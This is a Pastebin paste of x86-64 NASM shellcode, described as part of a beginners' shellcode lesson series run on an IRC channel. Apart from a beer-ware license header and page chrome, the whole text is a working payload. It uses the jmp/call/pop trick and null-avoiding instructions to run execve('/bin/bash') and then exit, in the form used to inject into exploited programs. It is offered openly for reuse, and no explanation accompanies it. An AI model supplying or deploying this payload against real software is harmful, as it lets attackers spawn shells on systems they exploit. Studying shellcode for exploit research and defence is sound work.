Madmouse

the 64bit version of the local shell exploit shellcode

Sep 10th, 2014
330
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ;
  2. ; part of my shellcode for noobs lesson series hosted in #goatzzz on irc.enigmagroup.org
  3. ;
  4. ; ----------------------------------------------------------------------------
  5. ; "THE BEER-WARE LICENSE" (Revision 43):
  6. ; <[email protected]> wrote this file. As long as you retain this notice you
  7. ; can do whatever you want with this stuff. If we meet some day, and you think
  8. ; this stuff is worth it, you can buy me a beer in return Aaron R. Yool
  9. ; ----------------------------------------------------------------------------
  10. ; 64bit call: rax args: rdi, rsi, rdx, r10,  r8, and r9
  11.  
  12. [bits 64]
  13. section .text
  14. global _start
  15. _start:
  16. ; execve("/bin/bash",$rsp,0)
  17.     xor rax,rax
  18.     mov al,0x3b
  19.     jmp short sh
  20. load_sh:
  21.     pop r10
  22.     xor rdx,rdx
  23.     push rdx
  24.     push r10
  25.     mov rsi,rsp
  26.     mov rdi,r10
  27.     syscall
  28. ; exit(0);
  29.     xor rax,rax
  30.     mov al,0x3c
  31.     xor rdi,rdi
  32.     syscall
  33.  
  34. sh:
  35.     call load_sh
  36.     db "/bin/bash"
Advertisement
Add Comment
Please, Sign In to add comment